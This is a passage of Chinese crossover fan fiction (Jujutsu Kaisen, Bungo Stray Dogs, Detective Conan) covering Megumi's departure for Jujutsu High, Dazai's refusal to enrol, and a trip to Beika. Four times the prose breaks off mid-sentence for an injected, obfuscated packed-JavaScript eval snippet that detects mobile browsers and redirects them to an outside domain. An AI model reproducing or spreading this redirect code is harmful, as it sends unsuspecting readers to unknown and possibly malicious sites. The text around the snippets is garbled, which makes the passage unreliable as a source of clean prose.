“你们快吃呀,快尝尝我的手艺。”淡岛青理催促道。怎么都没人动筷子的?这么谦让吗? 虽然她已经很多年没下过厨了,但是这些年里她一直孜孜不倦地观看美食节目,已经完全掌握做饭的精髓了!今天这道菜,势必要让全家刮目相看! 伏黑惠看着那锅被称作咖喱牛肉的东西,感觉时间又回到了九年前,面前摆着的是那颗崩掉了他乳牙的天妇罗。 好消息,淡岛夫人的厨艺确实是精进了。 坏消息,从原本深藏不露的暗器已经进化成了明晃晃写着危险的毒药。 不管怎么说,这次肯定是不会出现崩掉牙齿的情况了,这一锅黏糊糊的东西一看就是流体,还在砂锅的余温作用下翻滚涌动着,就像是有生命一般,黑紫色的流体似乎要顺着砂锅的边缘爬出来…… ……? 手里的勺子咣当一声掉在地上,伏黑惠看着那蠕动的触手,手指颤抖! 真的爬出来了! 淡岛青理眼疾手快地用勺子拦住伸出砂锅的乌紫色触手,用力将它甩回了锅里! 伏黑惠瞳孔地震,怀疑自己是太过紧张产生了幻觉。 原本跃跃欲试的太宰治也僵在了原地,半晌,默默放下了勺子。 莉帕捏紧了兔子玩偶的耳朵,颤抖着声音问还在自欺欺人觉得大家肯定没看见的淡岛青理:“那是……什么?” 那是什么啊?!那好像史莱姆,又像克苏鲁一样的东西是什么啊?! 淡岛青理放下勺子,羞涩地笑了一下:“那个……原本锅里煮了一些其他东西,可能是做咖喱之前没有洗干净,所以产生了一点化学反应。不过不用担心,肯定是没毒的!” 莉帕:你害羞个什么劲啊!什么东西能产生这种化学反应?! “这个锅不是你在做饭前新买的吗?!” “不是在这个锅里煮的,”淡岛青理理直气壮,“要知道现在的很多菜品都是这样,叫什么砂锅啊,铁板啊之类的,其实都是在别的锅里做好,再倒进烧热的砂锅或铁板上的。” 在哪个锅里也不能煮出来这种东西啊!!! 莉帕脑海里逐渐浮现出了一个了不得的猜测。 这个咖喱牛肉……该不会是在地下室熬魔药的坩埚里煮的吧?! 淡岛青理目移。 做饭和炼金有什么区别?不都是加些动植物尸体和矿石熬煮制作吗?差不多啦。 对面的两个少年已经陷入了宕机状态,莉帕用力掐了一下人中振作起来,抄起旁边的盖子扣在砂锅上,将还在蠢蠢欲动向外爬的触手按了回去。她沉默着端起砂锅去了卫生间,将这一锅不明物体通通倒进马桶里,然后按下了冲水键—— 随着“哗啦——”一声抽水声,世界终于又恢复洁净了。 银发萝莉回到餐厅,整理好心情后踮起脚拍了拍伏黑惠的手臂说:“没关系,你去上学吧。” 旁边听闻此言的太宰治惊恐抬头,脸上仿佛写着几个大字——‘你要杀了我吗朋友?’ 伏黑君走了他怎么办?!他以后就要吃那种东西了吗?!就没有更体面一点的死法吗?! 银发萝莉目光坚定地对他承诺:“以后我来做饭,在彻底教会她下厨之前,不会让青理碰三餐一下的。” 最后,这顿晚餐是由莉帕踩着凳子做的,身形矮小的萝莉一顿操作,端上桌了三菜一汤。 期间伏黑惠试图制止,但很快就在莉帕精湛的刀工下神情恍惚地走出了厨房。 总体来说,这顿晚饭还是改变了一些伏黑惠脑海中的固有印象,不过不是对淡岛青理的。 晚饭后,他站在客厅中央,看看厨房里踩着凳子穿着小围裙洗碗的萝莉,再看看坐在沙发上一脸清澈,与他对上视线后就摆出标准笑脸的淡岛夫人,内心的某处终于还是觉醒了。 不能再这样下去了,不然淡岛夫人真的连小学生都不如了! ——— 在认真观察并反思了几天之后,伏黑惠终于想通了,他拖着行李箱和淡岛青理告别。 “这个护身符带在身上,无论如何都请不要取下来。”黑发少年穿着整齐地站在门口,将手里的蓝色吊坠递给她。 “另外,请随时保持电话通畅,遇到麻烦请给我打电话。” 淡岛青理笑眯眯地说:“知道啦知道啦,惠酱就放心吧,我超会照顾自己的!” 她把自己项链的吊坠拆了下来,把少年给他的吊坠挂在了脖子上,藏进衣领里。 “看,我会一直戴着的。”淡岛青理拍着胸脯向他保证。 然而看着她没心没肺的样子,伏黑惠又开始踌躇起来,好不容易下定的决心开始动摇。真的没关系吗?淡岛夫人真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759391|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的不会把自己养死吗? “好了好了,硝子已经在院子里等你了,不要让她久等啊。”淡岛青理试图推着他往外走。 伏黑惠纹丝不动:“我还有事情没说完。” 淡岛青理觉得大事不妙。 果然,在离别的焦虑催使下,伏黑惠一改往日惜字如金的做派,把自己能想到的注意事项一股脑地都交代了一遍。 “请不要再赖床了,记得接送莉帕上下学,最近米花不太安全。” “不要给莉帕喝太多咖啡,她年纪还小,摄入太多咖啡因会伤身体。” “也请不要太顺着太宰,一周吃七天螃蟹是不应被允许的,会消化不良,严重的话还会痛风。另外请在太宰尝试自杀之前予以制止,就算他身体素质再好,受到的伤害也不会减轻。” “还有,请不要再给津美纪买玩偶了,她借住在别人家里,根本没有地方摆放那么多东西。以及……” “好了好了,快别说了!”淡岛青理捂着耳朵表情痛苦。刚刚那是什么?神秘的咒术界咒语吗?她的头好痛! “惠好啰唆,明明之前不是这样的,”淡岛青理噘着嘴喊道,“你小时候明明是个酷哥啊!臭着一张脸,像警惕的小狗,每次见面都要瞪我。怎么现在这么婆婆妈妈的?” 伏黑惠的满腔忧虑突然卡了壳,他默默握紧拳头。你以为我是为了谁啊? “总之,请照顾好自己还有太宰和莉帕。” 淡岛青理保证:“会的会的。” 不要担心,她超会养孩子的,你看,养了十几年了,一个都没死。 看着她信誓旦旦的模样,伏黑惠不知道为什么就是觉得胆战心惊。他把这归结为离别焦虑综合征,不再去细想。 制止了淡岛青理送他出门的意图,他平静地说:“请回去休息吧,我还有些话要和太宰说。” “我不可以听吗?” “不可以。” “哦,好吧。”无所谓,她会自己偷偷听。 伏黑惠不知道表面纯良的淡岛夫人在打什么鬼主意,他拖着行李箱来到走廊的另一侧,敲响了太宰治的房门。 没有让他多等,房门很快就打开了,似乎房间的主人一直在等他一样。 与伏黑惠的预想不同,今天的太宰治十分乖巧,没有任何为难就让他进去了房间。这让伏黑惠十分警惕。 孩子静悄悄,必定在作妖。 太宰治的房间与上次来的时候相比没有任何改变,除却散落的绷带和被淡岛夫人强塞进来的书籍零食,找不出任何带有个人色彩的物品,干净整洁的就像样板间。 “看来伏黑君已经下定决心了?去那个咒术高专?” 太宰治两腿岔开反坐在房间的椅子上,下巴抵着椅背,被养出婴儿肥的面颊挤出了两坨软肉。他身形放松,似乎对伏黑惠的到来早有预料。 “嗯,家入小姐正在楼下等我。”与他相反,伏黑惠身形有些紧绷,对于要说的话有些不知从何开口。 有太宰治在的场合通常是严肃无关的,伏黑惠还从来没认真地与太宰治进行过谈话。 “让我猜猜,”太宰治声音放低,把半张脸藏进臂弯,“是那个叫五条悟的男人让你来找我的吧。” 他一语道破了伏黑惠的来意。 18.第 18 章 望着少年带着暗色的鸢色眼瞳,伏黑惠僵直的脊背慢慢放松下来。 “你果然都知道了。” 他从口袋里拿出一枚黑色的小圆片递到少年面前:“那么这枚窃听器果然是你装的吧?” 带着薄茧的白皙手掌里躺着一枚已经被损毁的窃听器,正是太宰治当初放在伏黑惠裤子口袋里的那一个。 太宰治眨眨眼睛,回了伏黑惠一个有恃无恐的笑。 没错,就是他装的,怎样? 伏黑惠深吸一口气,感觉拳头痒痒的。 “所以呢?”太宰治晃动着小腿,悠哉地说,“那个男人给你出了什么主意?让我听听,说不定我会很高兴地同意呢?” 少年毫不在意的模样就像在讨论明天的天气,看上去丝毫不知道问题的严重性。 伏黑惠微微皱起了眉:“你知道自己的能力吗?” “你是指抹消咒灵吗?”太宰治微笑,“我知道哟,这还要多亏了伏黑君呢。” 他的意思是,他是从那晚开始才知道世界上有咒灵的存在,并且自己的“人间失格”不只能消除异能,还能抹消咒灵。 但伏黑惠理解的是,他是在那晚才知道自己拥有特殊能力的。 这让伏黑惠的内心不由得柔软了下来。 他想起了自己第一次看见咒灵时的景象。 一成不变的规律世界中突然出现了光怪陆离的怪物,它们盘踞在墙角,街头,路灯上,以及人类的肩头。 擦肩而过时,小小的伏黑惠能看到怪物垂下来的触须随着人类的行走在摆动。细长的躯体布满黏液,长在触须末端的嘴里发出含糊不清的诡异笑声。 人们对这诡异的景象视而不见,即使怪物涌动着从一个人的肩头爬上另一个人的脊背,仍然视若无睹。 在年仅五岁的伏黑惠眼里,平静如死水的人类比扭曲的怪物更让他恐惧。 那是一种被排除在外的割裂感,让他怀疑自己与那些面容平和的躯壳并非同类。 虽然随着年龄的增长他逐渐明白了其他人并不能看见那些怪物,但那种只有自己被排除在默许规则之外的孤寂感还是留在了记忆里。 发现自己的与众不同,有时并不是一件值得欣喜的事。所以,得知自己拥有特殊能力的那一刻,太宰是怎样的心情呢? 怀着那一丝微弱的共鸣,伏黑惠放缓了声音,正式给太宰治介绍了咒术界的存在。 诅咒,诞生自人类溢出的负面情感,愤怒、仇恨、妒忌、贪婪……对特定对象的负面情绪一旦堆积,就容易滋生出咒灵。 咒灵对普通人人类来说并不可见,它们或大或小,或强或弱。有些咒灵铆足了劲也只能让人打个喷嚏,有些咒灵抬手之间就可覆灭一个村镇。 而咒术师就是为了祓除诅咒而存在,他们从微小的感情中提取咒力,用于解除诅咒消灭咒灵。 大部分咒术师都具有生得术式,这是他们天生的能力,只不过发掘得或早或晚,比如伏黑惠的“十种影法术”。 “或许抹消咒力,就是你的生得术式。”这句话伏黑惠说得并不确定。 无论什么术式都是由咒力驱使发动的,抹消咒力的术式按理来说不可能存在。 “所以你是特殊的,”伏黑惠说,“如果你的术式被发现,无论是咒术师诅咒师还是咒灵都会将你视作威胁。” 表面上光鲜亮丽的咒术师并不都是普世意义上的好人,或许在一些咒术师眼中,他们享有的荣誉远高于需要背负的责任,咒力咒术和咒灵都只是他们获得权力的一种手段。 一旦得知太宰能够抹消咒力,他们定然会寝食难安,要么会控制太宰为其所用,要么就抹杀他的存在,将不安定因素彻底消灭。 生得术式?太宰治晃了晃小腿,明白伏黑惠对他的能力产生了一些误会。 他的“人间失格”可不是术式啊。 不过他并没有想要纠正的意思,只是好奇地询问:“所以你们想怎么做呢?” 抓住他,将他献给统领着咒术界的老家伙换取利益吗?还是好心地放他一马,威胁他离开横滨,让他悄无声息地滚远些,带着麻烦远离他们? 伏黑惠双手插兜,站得笔直。 迎着少年莫名地带着期待的目光,他沉声说:“五条老师的意思是,你愿不愿意入学咒术高专?” 在少年骤然愣住的目光下,伏黑惠转达了五条悟的想法:“那晚遭遇的咒灵袭击来路不明,不能确定你的能力是否已经暴露。比起被动地等待风险的到来,或许主动出手也是一种选择。” “如果总监会的人对你的能力并不知情,五条老师可以帮你伪造术式,降低你的威胁性。如果总监会的人已经知晓你的能力,五条老师也能保下你。至少在咒术高专里,有天元大人的结界在,你不会再遭受来自咒灵和诅咒师的袭击。” 加入咒术高专,成为咒术师,这是太宰治从未想过会听到的提案。他歪了歪头,突然对提出这个想法的五条悟感到了好奇。 为什么会发出这种邀请呢? 要在上层的施压下保下他,五条悟背负的压力可想而知。所以为什么还要让他去学呢?就像他之前想的那样,明明有更简单的处理方式。 无论是抓住他还是驱逐他,都更简单不是吗?他可以消除咒力和异能,却免疫不了物理攻击,对他们来说,抓住他应该轻而易举吧? 而面对太宰治提问,伏黑惠怔忡了一会儿,难得地露出了一个诧异的表情。 “你为什么会那么想?” 伏黑惠想不通,难道他和五条老师留给太宰的印象竟然不是什么好人吗?为什么第一时间会想到要拿他换取利益? 对上伏黑惠带着讶然的深蓝色瞳孔,太宰治动了动嘴唇,最后狼狈地扭开了头。 什么啊,那不是显得他以小人之心度君子之腹了吗?真讨厌这些道貌岸然的家伙。 没错,道貌岸然。 不会以为他真的相信了这番听起来光明伟岸的说辞吧?他一个手无缚鸡之力的柔弱可欺的少年,到了别人的地盘上还不是如同羊入虎口,到时候做什么还不是他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770822|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的算? 呵,这种可笑的手段,他才不会信呢。 “入学就免了吧,在高专范围内不会遭受袭击的意思,就是不允许我离开高专的范围吧?我没有被人关起来当宠物的打算。” “我想也是。”对于太宰治的态度,伏黑惠并不感到意外。 他平静地说:“所以我已经替你拒绝了。” 太宰治抬头,微微睁大了眼睛。 他瞪圆眼睛仰着头的样子很像被突如其来的一棒子打蒙的小狗,伏黑惠抬手握拳放在嘴边,掩饰了一下翘起的嘴角。 太宰治没有注意到伏黑惠的动作,他脑海里只有一个想法——这人有病吧? 年仅十四岁的太宰治还没有成长到后来的喜怒不形于色,他冷笑一声,脸上带着一丝被愚弄过后的薄怒,“所以伏黑君是特地过来看我笑话的吗?”故意提出一个看似可行的建议,然后在他心动的时候告诉他其实根本不可能? “那还真是不好意思,看样子让伏黑君失望了。”他从一开始就不接受这一提议。 他微微眯着眼,试图用目光杀死对面的少年。 好讨厌,这一家人都好讨厌。 顶着他阴郁的视线,伏黑惠另一只手从口袋里拿了出来,握成拳头放在他面前。 太宰治面色警惕,但视线却不由自主地跟着他的动作游走。 伏黑惠张开手掌,摊开的手心上躺着一枚紫色的水晶。 “这是什么?让我离开的贿赂吗?”太宰治纹丝不动。 伏黑惠也没有强求他接过,只是将紫水晶放在了桌面上,声音平静:“因为你能免疫咒术,所以防御咒具不适合你。这里面是一个通讯咒具,遇到危险时摔碎它,五条老师会来救你。” “当然,如果不是危急情况,请优先选择给我打电话。” 说着,他也不管太宰治作何反应,径直拉开了卧室门。 临走之前,他还是忍不住停下脚步叮嘱:“照顾好淡岛夫人和莉帕。” 但是转念一想,这个要求对太宰来说似乎难度太高了。 他沉默两秒:“算了,照顾好你自己就行了。” 卧室门咔嚓一声关上,房间内又恢复了宁静。过了一会儿,窗外传来汽车发动的声音。 紫色的水晶摆放在临窗的桌子上,反射的光线让太宰治觉得有些刺眼。 起身走到窗边,看见黑色的汽车逐渐驶离,他用力拉上了窗帘。还没等他把桌上的水晶扔进垃圾桶,旁边的手机突然响了起来。 太宰治看着来电显示,面无表情地接通了电话。 电话那边还是那道冷淡的声音:“衣服上的定位器不准拆,如果不想我放狗找你的话。另外,你刚刚放在我身上的定位器我放在桌子上了。” 接着电话就被挂断了。 太宰治拿着手机,视线移动到桌面上,在紫水晶旁边发现了一个黑色的小圆片。 他眨了眨眼睛,表情因为过于迷茫竟然显现出了一丝单纯。 ……可是这个也不是他的定位器哎。 19.第 19 章 淡岛青理觉得,太宰那孩子或许确实不是适合家养的品种。在惠离家去上学后,太宰待在家里的时间越来越短。 诚然,这其中也有淡岛青理不会像伏黑惠一样从各种地方把太宰治揪回家的原因,但太宰治确实提高了外出时间和频率。 渐渐地,他离家的时间越来越长,几乎整个白天都待在外面。 早上,淡岛青理起床时他已经出门了,夜晚要很晚才能等到他回来,身上还时常带有伤口。 淡岛青理在给他包扎时,忍不住向他抱怨:“真是的,太宰君,不要总去危险的地方啊,我会担心的。” 少年露在外面的鸢色眼睛眨了眨,没有说话。 但是在那之后,少年回来得更晚了。 终于有一天,淡岛青理在凌晨三点推开了太宰治的房门。房间空荡荡,被褥都整齐地堆叠着。 太宰治昨晚没有回来。 距离太宰治住进这里大概有一个月了,他的房间却干净整洁得好像样板间,找不出半点房间主人留下的痕迹。 推开衣柜的门,一排浅色的衣物整整齐齐地叠放着。她给太宰买的所有衣服都在这里,一件不少。 淡岛青理静静地退出房间关上了门。 “不阻拦吗?”身后突然传来了声音。 走廊的拐角处,女孩站在窗边月光照射不到的阴影里,金色的眼瞳在黑暗里发亮。 淡岛青理下意识看向伏黑惠的房门,怕吵醒他,然后又突然意识到伏黑惠的房间也是空的,他已经去咒高上学了。 怎么突然之间体验了一把空巢老人的感觉? 她轻笑了一下,一改往日端正的作态,随意地倚在了门边,和服下摆散开露出雪白的双腿。 “没关系,莉帕,”她眸光温柔,“小孩子的一点毛茸茸的小心思,无所谓,我会溺爱。” 莉帕露出一个反胃的表情,询问:“所以你知道是怎么回事?” “嗯,大概是发现了我在惠身上装了定位器和窃听器,所以在试探我有没有在他身上装吧?” 或许也不只是这样。太宰的活动范围在逐渐扩大,甚至快要离开横滨,而且出现在火拼现场以及自杀的频率也明显提高了,应该还有试探她的底线在哪里的意思,大概是想看看做到什么地步自己才会出面阻止。 毕竟那孩子一直在怀疑自己收留他的目的。 “你、不是……啊?!” 莉帕瞪圆了眼睛,嘴唇开开合合,却组不成一句完整的话。 女人在谈起自己的变态行径时表现得太过光明正大,以至于让她都不知道该说什么好。 在把太宰救回来的当天,淡岛青理就在他的伤口里缝了芯片,这件事情莉帕是知道的。介于太宰治后来的表现确实不太让人省心,所以莉帕也就睁一只眼闭一只眼。 可是惠那么早熟懂事的一个孩子,为什么要给他装这些东西啊?!他到底是哪里让人不放心了?!想来想去也想不通,莉帕最后只能把这归结于淡岛青理就是一个掌控欲爆棚的变态! “所以你怎么一点反应都没有?就看着他折腾?” “我说过,只是一些毛茸茸的小心思,不必理会,他闹够了就会自己停下的。” 莉帕看着淡岛青理毫不在乎的模样,不明白她的底气从何而来。 “哈,还真是傲慢啊,青理,就那么自信他不会真的选择离开吗?可别忘了,镭钵街还有一个变态医生在虎视眈眈。” “他的选择并不重要,”淡岛青理扯开嘴角,深灰色的眼瞳在阴影中似乎闪着一丝红光,“如果他做不出正确的决定,那我会帮他选。” 望着她肆意的模样,莉帕几乎快要哑口无言。 “你还真是……装都不装了。” 演都不演了啊青理!你还记得你当初给我编的理由是什么吗?啊? 报恩是你这么报的? 其实当初太宰不是救了你,是在你身上踩了两脚吧?!你到底是来报恩的还是报仇的你说清楚! 她悻悻地说:“说真的,我现在觉得让森欧外来养也不错,至少他是个医生,抢救起太宰来肯定比你专业。你最多只会包扎个外伤,手法还不怎么样,惠离开的这几天可都是我跟在他屁股后面替他保命!要不是我一路摇人救他,他早不知道淹死在哪条河里了!” 这话说的,淡岛青理不乐意听了,她嗤笑一声:“森欧外会养孩子?别逗我笑了莉帕,太宰被交给森欧外迟早会出现心理问题。” 莉帕:“不是,你以为跟你在一起能好到哪里去吗?”想想津美纪,想想惠,想想你自己! 而且太宰治那小子本来心理也不怎么健康吧?哪个正常人会沉迷自杀啊?! 她头疼地揉了一下太阳穴,放轻了声音跟淡岛青理打商量:“虽然我不知道当初发生了什么,但他现在也才十四岁而已,还是个孩子。你玩了这么多天,有什么恩怨也都该消气了,要不就放过他吧。” 没错,莉帕还是觉得她是来报仇的。 将近一个月的相处下来,莉帕的良心终于看不下去了。 她真切地觉得,远离青理的控制或许对太宰来说更好。他需要的是一个内心更为柔软的引导者,而不是淡岛青理这样表面温柔的控制狂。 那个人需要把他从泥潭中拯救出来,就算不能将他拉上岸,至少也不会让他在黑暗中越陷越深。 “好过分,莉帕。”淡岛青理捂着心口后退两步,声音颤抖,表现得有些受伤,“你怎么可以这么想我?我对太宰难道不好吗?”全盘接受,有求必应,这样还不够吗? 月光透过小窗照在她的脸上,为她本就白皙的面庞铺上了一层脆弱的柔光。任何人看到那张柔弱面庞的人,都不会忍心再进行苛责。 她的脆弱那么真实。 她的伤心是真的,她的疑惑也是真的,她真的觉得自己对太宰很好。 所以在对上那双灰色的眼瞳时,莉帕才会感到那么无力。 “还远远不够,青理。你眼看着太宰自伤自残,却从来都不阻止,明知道他的内心在不安却什么也不说。你口口声声说要更改他的结局,可你什么都没有做,你在放任他向死亡堕落。” “青理,他是一个孩子,不是宠物,不要用你对待宠物的方式去对待他。” 很久之前,莉帕就想这样说过。 不仅仅是对于太宰,还有津美纪和惠。有求必应,过度纵容,淡岛青理无微不至的关爱之下其实是更无情的冷漠。不然她怎么会对惠和津美纪的心理状况视而不见呢? “母亲”并不是一个固化的象征温柔的符号,它同时还肩负着很多责任。在孩子迷茫的时候给予指引,在踌躇时给予 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778287|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓励,更重要的是在其行将踏错时予以制止。 但是淡岛青理总在做错,在衣食住行上有着极强的控制欲,却在真正应该替他做抉择的时候放任自流。 这个母亲,淡岛青理当得很失职。 当然,她也同样。 莉帕并不喜欢太宰治。但是,是她推动了世界融合,给了青理接触太宰的机会,所以她认为,她需要对他负责。 她似乎总是这样,当不了真正的好人,也做不了纯粹的恶人,飘忽不宁,摇摆不定。 在心里自嘲了一声,莉帕深吸了一口气,无奈地说:“青理,惠和津美纪很坚强,但太宰不一样,你不能在他摇摇欲坠的世界中再添负担。” 尽管经历过困苦,感受过人间冷暖,津美纪和惠内心深处始终还有一角在爱着这个世界。他们意志坚定,有着自己的信念,即使短暂地陷入泥沼,也永远向上攀爬。 他们永远不会惧怕交付真心,他们信任青理,就像信任他们自己。 但太宰治不同,他是个内心敏感脆弱且思虑过重的孩子。仅仅一个月的相处,莉帕无比清楚地看懂了太宰治的底色。他的世界不会因为任何人停转,他心中的风雨也不会因为任何人停歇。 始终保持独立的思考——这是太宰治的优点,也是他苦痛生命的根源。 “青理,你究竟为什么要把他留在身边呢?” 或许是她望过来的金色眼瞳太过轻柔,或许是她话语中的叹息太过沉重,淡岛青理咽下了那些说过许多遍的漏洞百出的托词,慢慢沉静下来。 “因为那个孩子真的很可爱不是吗?”沉默许久后,淡岛青理弯了弯眉眼,语气中带着怀念。 “他现在多可爱啊,会恶作剧,会吵架,会想出一些鬼点子闹自杀。讨厌疼痛,讨厌狗,也讨厌工作。”那么渴望死亡,却那么生机勃勃。 “……所以最后为什么会变成那个样子呢?” 她偏头望向窗外,饱满的圆月洒落银色的光辉,落在她眼底却变成了那日破碎的夕阳。 她说想改变些什么,是真的。 映照在月光下的皎洁面容上是难得一见的真实的温柔,宁静温暖,却让莉帕遍体生寒。 她望向窗外的目光太过深远,远到让莉帕产生了一种错觉。 “你在……说谁?” 窗边的女人收回视线转过身来,面色讶然。她轻笑一声:“当然是在说太宰啊,怎么突然这么问?” 莉帕凝视着她面容,想要从那张笑意盈盈的面庞中找出一丝破绽,但终究还是什么都没发现。 真的是她的错觉吗? 那个感觉,那个飘香远方的目光…… 莉帕还在凝眉思考,淡岛青理却不想再谈论这个话题了。 “别皱着一张脸了,莉帕,要相信我啊,我怎么会伤害太宰呢?我只是有我自己的节奏!” 被她这么一打岔,莉帕也深沉不下去了。 她只能轻叹一声,将所有疑惑和忧虑都压在心底。 “你最好真的有。” 她说过,她拒绝不了青理。 无论善恶对错,她总要与她同行。 自认为解决了一场信任危机的淡岛青理站直身形,双手用力一拍,欢快地宣布:“莉帕就是太闲了才会想东想西!既然最近无事,那明天我们去米花玩吧!” 20.第 20 章 从淡岛青理搬来横滨已经快要一个月了,津美纪也在米花独自生活了一个月。 尽管那孩子经常和她通电话,但是她还是想去看望一下,顺便告诉她伏黑惠上学的事情。 津美纪对惠的责任心一直很强,她如果知道惠去上了一所高专一定会很生气的。虽然最后肯定也不会阻拦,但是免不了姐弟两个又要吵一架。 所以这个时候就轮到她出面了!哼哼,解决家庭矛盾,她义不容辞! 一大早,淡岛青理先是给伏黑惠发了消息,表示“妈妈我要去帮你给姐姐做思想工作了,等我的好消息吧”,然后在莉帕复杂的目光中给太宰治留了便当和字条。 一路上,淡岛青理都在担心太宰治回家后能不能看见字条,会不会自己热便当。虽然也想发短信留言,但是太宰治的手机有一部算一部,全在入水的时候丢掉了。 “啧,真要是不放心就跟过去看啊,既然说着不在乎就不要婆婆妈妈的。快点快点,我要那个鲷鱼烧!”刚从米花车站下车,莉帕就拉着淡岛青理要买吃的。 “莉帕,不要这么说嘛。”淡岛青理买了红豆馅的鲷鱼烧递给她,希望她能嘴下饶人。 “嘁,”洋娃娃一般的萝莉翻了个白眼,把兔子玩偶塞到女人怀里,自己接过鲷鱼烧恶狠狠地咬了一口,嘴里含糊不清地说:“等着吧,等他跟森欧外跑了有你哭的。” 淡岛青理笑着说:“我会让他自愿回来的。” “你这家伙……”莉帕看着她信誓旦旦的模样,手里握着鲷鱼烧,只觉得一个头两个大。 “啊,是莉帕同学!” 一个响亮的童声响起,接着又是几道“真的吗”“在哪里”的声音。 站台的出口处,一个身形圆润的老人带着几个小孩子走了出来,其中一个戴着粉色蝴蝶结的小女孩一眼就看到了人群中显眼的银发萝莉。 莉帕听到熟悉的声音一激灵,浑身汗毛都竖起来。 不会吧不会吧,拜托,今天可是星期日啊,能不能放过她?米花这么大,怎么一落地就撞见了他们? 并不知道莉帕正在心里大喊“退退退”,几个小孩子一转眼就跑到了她面前。 “莉帕同学,好巧啊!你是来玩的吗?”吉田步美热情地凑到她跟前,脸上带着大大的笑容。 昨天阿笠博士领着少年侦探团出去露营了,今早刚乘坐新干线回到米花。刚从列车内走出来,吉田步美就眼尖地看到了人群中的一抹亮银色。 是上学期期末转学来到她们班的莉帕同学! 吉田步美小小年纪已经初具颜控的表征,对于长得漂亮的人类,无论男女老少,都具有极高的初始好感度。自从这位银发的萝莉转到她们班上以来,吉田步美就一直想跟她做朋友。 可惜这个愿望难度太高了,比当初接近灰原还要困难。因为灰原当初只是不理人,而莉帕是除了上课时间根本找不到她人! 下课铃一响,银发萝莉就咻的一下消失不见,等到打上课铃时再踩着铃声回到教室,就连小林老师也没办法在课外时间找到她的人。 这还一度掀起了班上捉迷藏的风潮,孩子们私下里打赌究竟谁能第一个找到莉帕同学的藏身之处,但是赌局设下将近半年也没能揭开谜底,因为找不到,真的找不到啊。 下课都如此,那放学就更不用说了,每次银发萝莉都是第一个冲出校门的那个,出了校门就像游鱼入海,一下子就没了踪影。 目前唯一能打探到的消息是,莉帕同学偶尔会出现在波洛咖啡店,只是少年侦探团的几人从来没有遇到过。 这还是第一次,吉田步美在课堂外的地方看见莉帕同学的身影,所以兴奋地就冲了过来。 “步美,等一下。”阿笠博士一边擦汗一边拖着圆滚滚的身体跟上来。 他站定后喘了两口气,对着一旁的淡岛青理说:“不好意思,打扰了,这些孩子们见到朋友太兴奋了。” “没关系的。”淡岛青理今天穿了一件天蓝色带有水波纹的和服,长发编成三股辫垂在一侧。 她露出惊喜的笑容,蹲下身对小朋友们说:“你们是莉帕的朋友吗?真是太好了,谢谢你们愿意和莉帕一起玩。” 小朋友的视线范围比较低,所以直到淡岛青理出声,三小只才注意到她。 “好、好漂亮的大姐姐!” 吉田步美瞬间被吸引走了目光,原本去牵莉帕的手转了个弯攥住了她的衣角:“呐,大姐姐,你是莉帕同学的姐姐吗?” “姐姐?”淡岛青理掩唇轻笑,“虽然很开心你们这么说,不过我们是母女哦。” “唉?!竟然是莉帕同学的妈妈吗?”三小只震惊,因为这个大姐姐看上去真的很年轻。 “大姐姐,你叫什么名字?”吉田步美问道。 “淡岛青理,要称呼她为淡岛夫人啦。” 有人回答了步美的问题,声音却是从身后传来的。 步美转头,只见江户川柯南脚步轻快地跑了过来,脸上还带着一丝欣喜和兴奋。 圆谷光彦:“柯南,你认识这个大姐姐吗?” 嘴比脑子快的江户川柯南僵硬了一下,回过神来连忙尬笑着挥手:“啊啊啊啊那个,是新一哥哥告诉我的啦,新一哥哥认识淡岛夫人!” “哎呀,原来你认识新一那孩子吗?”淡岛青理弯下腰,捏了捏江户川柯南的小脸蛋,“我都很久没有见到他了,他过得还好吗?” 江户川柯南想要后仰避开女人凑近的脸庞,但是脸颊肉被人掐住,根本不敢动弹。 松手啊淡岛夫人,好大力气,肯定掐红了啊喂! 敢怒不敢言的小柯哈哈干笑两声,夹着嗓子甜甜地说:“新一哥哥很好,只是正在查一个重要的案子,不方便露面!” “这样啊,”淡岛青理松开手,替他揉了揉掐出来的红印子,“这么久没联系,我还以为是不认我这个干妈了呢。” “干妈?!” 一大一小两声惊呼同时响起,阿笠博士和灰原哀互相看了一眼,然后各自低头假装咳嗽了一下。 淡岛青理假装没看到两人的尴尬,笑眯眯地说:“是啊,有希子是我的朋友,我是新一那孩子的干妈,只是新一从半年前就没有联系过我了,就连给他寄圣诞礼物都没有回信,还真是让人伤心啊。” 江户川柯南闻言张大了嘴巴,不是,什么圣诞礼物?他没有收到啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 